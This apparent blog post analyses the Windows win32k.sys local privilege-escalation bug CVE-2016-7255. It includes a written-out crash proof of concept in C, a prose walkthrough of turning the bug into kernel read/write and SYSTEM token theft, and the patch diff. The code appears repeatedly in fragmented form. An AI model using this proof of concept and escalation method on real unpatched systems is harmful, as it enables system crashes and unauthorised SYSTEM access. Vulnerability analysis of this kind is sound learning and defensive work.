新手初学二进制漏洞不久,也是第一次写相关的博客,如有不足和错误,请各位师傅们多多指正
win32k.sys为驱动文件,主要为应用层提供大量服务。功能上主要实现窗口管理和图形设备接口。
该漏洞是在win32k.sys中xxxNextWindow中,对于tagWnd对象内成员,只进行了是否为零的判断,而没有验证是否有效,导致可以构造内核空间任意地址写,最终实现本地提权。
Windows Vista SP2 Windows Server 2008 SP2 and R2 SP1 Windows 7 SP1 Windows 8.1 Windows Server 2012 Gold and R2 Windows RT 8.1 Windows 10 Gold,1511,and 1607 Windows Server 2016
microsoft补丁如下: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-7255
Windows 7 SP1 x86 VMware Workstation 16 Pro WinDbg 10.0.18362.1 IDA Pro 7.6
主要介绍一些后面会用到的结构体和函数 1.用户态窗口类结构体:WNDCLASSEX,该结构体的定义如下
其中需要关注的是cbWndExtra成员,当创建窗口实例的时候系统会根据cbWndExtra的值分配相应大小的空间 2.内核态窗口类结构体:tagWND,下面列出该结构体中需要关注的成员
3.内核态菜单类结构体 : tagMENU,只需要知道在偏移0x14存在fFlags字段
4.SetWindowLong函数
SetWindowLong函数可以用来改变窗口的属性,也可以向窗口拓展内存中写入数据,SetWindowLong最终调用了xxxSetWindowLong。 在xxxSetWindowLong中,会对传入的nIndex进行判断,当nIndex小于0时,会调用xxxSetWindowData,如下图所示。 而在xxxSetWindowData中,当nIndex为-12(GWL_ID),且窗口的style为WS_CHILD(0x40000000)时,会将tagWND结构体中的spmenu成员的值设为传入的dwNewLong,如下图所示。 回到xxxSetWindowLong的第79行,当nIndex+4大于tagWND结构体中的cbwndExtra(拓展内存大小),即要越界的时候,就会跳转到第70行,设置ErrorCode,并返回,如下图所示。 当nIndex不小于零,且不存在越界的情况时,就会根据nIndex,设置拓展内存中的值,如下图所示
该漏洞位于win32k!xxxNextWindow中,xxxNextWindow函数的反汇编如下所示 在第176行处,函数只对tagWND结构体中的spmenu成员是否为零进行了判断,而缺少了其他必要的检查,然后在177行就将spmenu偏移0x14处的地址中的值和0x4进行或操作。而spmenu,可以使用背景知识里所介绍的SetWindowLong对其进行修改,从而实现任意地址写操作。
要验证这个漏洞主要是实现对spmenu的修改,然后通过模拟按键alt+esc,进入xxxNextWindow触发漏洞
首先是创建两个窗口hWnd1和hWnd2
然后调用SetWindowlong,将窗口的style设置为WS_CHILD
再调用SetWindowLong,将窗口的spmenu设置为0x12345678
切换焦点到窗口2,将它设置为最前方窗口
最后是模拟alt+esc按键来处罚漏洞
完整的POC如下
运行POC,此时windbg显示如下,可以看到xxxNextWindow函数执行到 or dword ptr [eax+14h], 4 时,eax存储的就是之前写入的spmenu的值0x12345678,然后读取spmenu偏移0x14,即0x1234568C处的值进行或运算, 触发访问异常,导致系统崩溃
本节主要介绍该漏洞利用的思路。
HMValidateHandle函数可以将匹配的对象复制到用户空间中,并返回对应的地址,最终可以获得对象在内核空间中的地址。 然后是寻找HMValidateHandle的地址,由于该函数并没有导出,但是有一个用户态函数IsMenu调用了它,如下所示,只存在一个call指令,所以可以从IsMenu的地址开始遍历,寻找特征码E8,从而获得HMValidateHandle的地址
调用HMValidateHandle,得到了复制的tagWnd对象的地址,通过其中的成员head的pSelf字段,就可以获得tagWnd对象在内核空间中的地址,在0x90偏移处,得到了cbwndExtra成员的地址,根据漏洞实现的条件,如下所示,可以将cbwndExtra的地址-0x14+0x3 写入spmenu,实现cbwndExta最高字节与0x4进行或运算,由于cbwndExtra初始值为0,漏洞触发后,cbwndExtra的值就变为0x04000000。
完成增大cbwndExtra后,需要再创建一个窗口2,使得该窗口2的tagWnd与触发漏洞窗口1的tagWnd相近,这样就可以调用SetWindowLong通过向触发漏洞的窗口1的cbwndExtra写入数据的同时,能够修改窗口2的tagWnd的关键成员。为此可以创建了0x100个窗口,并选取两个tagWnd对象地址相差小于0x3fd00的窗口,一个作为触发漏洞的窗口tagWnd1,另一个作为利用的窗口tagWnd2,如下所示
现在使用SetWindowLong就可以去修改tagWnd2的成员,这里选择的位于0x34偏移处的spwndParent。然后调用GetAncestor,函数的定义如下。该函数实际调用内核态函数NtUserGetAncestor,将gaFlags设置为GA_PARENT(1),就会返回 *(tagWnd.spwndParent),所以可以将内核地址写入spwndParent成员,实现任意地址读取。
在实现任意地址写入的时候,选择的是tagWnd结构偏移0x8c处的strName.Buffer成员,通过SetWindowLong去修改Buffer,然后调用SetWindowText,函数定义如下,将要写入的值的地址作为参数传入,就可以任意值写入buffer指向的空间中。
最后就是实现提权,这里选择的就是修改当前进程的token。通过检查tagWnd结构体可以发现能够操作的地方,tagWND->head->pti->pEThread->ApcState->Process,通过一步步地调用ReadKernelMemory,就可以获得当前进程的EPROCESS结构体地址,后面只需要通过其中的ActiveProcessLinks去遍历进程链表,通过pid查找到system进程,然后调用WriteKernelMemory,将当前进程的token修改为system进程的token,完成提权,具体实现如下。
执行到此,任务管理器显示如下,可以看到本地进程的token已经和system进程的token相同,即权限已经提升成功。
对应的漏洞补丁为KB3197868。 首先是补丁前后的xxxNextWindow的反汇编比较,如下所示,在第173行处,比原先版本新增了一处判断,即xxxNextWindow会判断tagWnd的style成员是否为WS_CHILD(0x40000000),如果窗口的类型为WS_CHILD,则不会对spmenu.fFlags进行或操作。这么做的原因是因为,最开始设置spmenu成员的时候,调用了以GWL_ID为参数的SetWindowLong,只有当窗口类型为WS_CHILD,才能够传入的参数赋给spmenu成员,此处判断能够限制窗口的类型,从而对触发的过程进行限制。
1.https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html 2.https://blog.csdn.net/qq_41252520/article/details/119698465 3.https://www.77169.net/html/50253.html
typedef struct WNDCLASSEX {
UINT cbSize;
/
/
类的大小
UINT style;
/
/
窗口风格
WNDPROC lpfnWndProc;
/
/
窗口处理函数指针
int
cbClsExtra;
/
/
所有窗口实例共同占用内存的大小
int
cbWndExtra;
/
/
窗口实例拓展内存的大小
HINSTANCE hInstance;
/
/
模块句柄
HICON hIcon;
/
/
图标句柄
HCURSOR hCursor;
/
/
光标句柄
HBRUSH hbrBackground;
/
/
背景刷句柄
LPCTSTR lpszMenuName;
/
/
菜单指针
LPCTSTR lpszClassName;
/
/
类名指针
HICON hIconSm;
} WNDCLASSEX,
*
PWNDCLASSEX;
typedef struct WNDCLASSEX {
UINT cbSize;
/
/
类的大小
UINT style;
/
/
窗口风格
WNDPROC lpfnWndProc;
/
/
窗口处理函数指针
int
cbClsExtra;
/
/
所有窗口实例共同占用内存的大小
int
cbWndExtra;
/
/
窗口实例拓展内存的大小
HINSTANCE hInstance;
/
/
模块句柄
HICON hIcon;
/
/
图标句柄
HCURSOR hCursor;
/
/
光标句柄
HBRUSH hbrBackground;
/
/
背景刷句柄
LPCTSTR lpszMenuName;
/
/
菜单指针
LPCTSTR lpszClassName;
/
/
类名指针
HICON hIconSm;
} WNDCLASSEX,
*
PWNDCLASSEX;
win32k!tagWND
...
+
0x078
spmenu : Ptr32 tagMENU
/
/
tagMENU菜单对象指针
...
+
0x084
strName
+
0x090
cbwndExtra : Int4B
/
/
窗口实例拓展内存大小
...
win32k!tagWND
...
+
0x078
spmenu : Ptr32 tagMENU
/
/
tagMENU菜单对象指针
...
+
0x084
strName
+
0x090
cbwndExtra : Int4B
/
/
窗口实例拓展内存大小
...
win32k!tagMENU
...
+
0x014
fFlags : Uint4B
...
win32k!tagMENU
...
+
0x014
fFlags : Uint4B
...
LONG
SetWindowLong(
HWND hWnd,
/
/
窗口句柄
int
nIndex,
/
/
偏移
LONG
dwNewLong
/
/
要设置的值
);
LONG
SetWindowLong(
HWND hWnd,
/
/
窗口句柄
int
nIndex,
/
/
偏移
LONG
dwNewLong
/
/
要设置的值
);
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
SwitchToThisWindow(hWnd2,TRUE);
SwitchToThisWindow(hWnd2,TRUE);
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
WCHAR
*
lpszClassName
=
L
"TEST"
;
int
APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nCmdShow)
{
HWND hWnd1;
HWND hWnd2;
WNDCLASSEXW wcs
=
{
0
};
wcs.cbSize
=
sizeof(WNDCLASSEXW);
wcs.lpfnWndProc
=
DefWindowProc;
wcs.hInstance
=
GetModuleHandle(NULL);
wcs.lpszClassName
=
lpszClassName;
if
(!RegisterClassExW(&wcs))
{
return
0
;
}
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
将窗口
1
的style设置为WS_CHILD,以便后面设置spmenu
SetWindowLong(hWnd1,GWL_STYLE,(WS_VISIBLE|WS_CHILD));
/
/
将窗口
1
的spmenu设置为
0x12345678
SetWindowLong(hWnd1,GWL_ID,
0x12345678
);
/
/
将窗口
2
设置最前方窗口
SwitchToThisWindow(hWnd2,TRUE);
/
/
触发漏洞
keybd_event(VK_MENU,
0
,
0
,
0
);
keybd_event(VK_ESCAPE,
0
,
0
,
0
);
return
0
;
}
WCHAR
*
lpszClassName
=
L
"TEST"
;
int
APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int
nCmdShow)
{
HWND hWnd1;
HWND hWnd2;
WNDCLASSEXW wcs
=
{
0
};
wcs.cbSize
=
sizeof(WNDCLASSEXW);
wcs.lpfnWndProc
=
DefWindowProc;
wcs.hInstance
=
GetModuleHandle(NULL);
wcs.lpszClassName
=
lpszClassName;
if
(!RegisterClassExW(&wcs))
{
return
0
;
}
/
/
创建窗口
1
hWnd1
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
NULL
);
/
/
创建窗口
2
hWnd2
=
CreateWindowExW(
0
,
lpszClassName,
NULL,
WS_VISIBLE,
0
,
0
,
100
,
100
,
NULL,
NULL,
GetModuleHandle(NULL),
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-5-13 14:45
被帆帆帆帆编辑
,原因: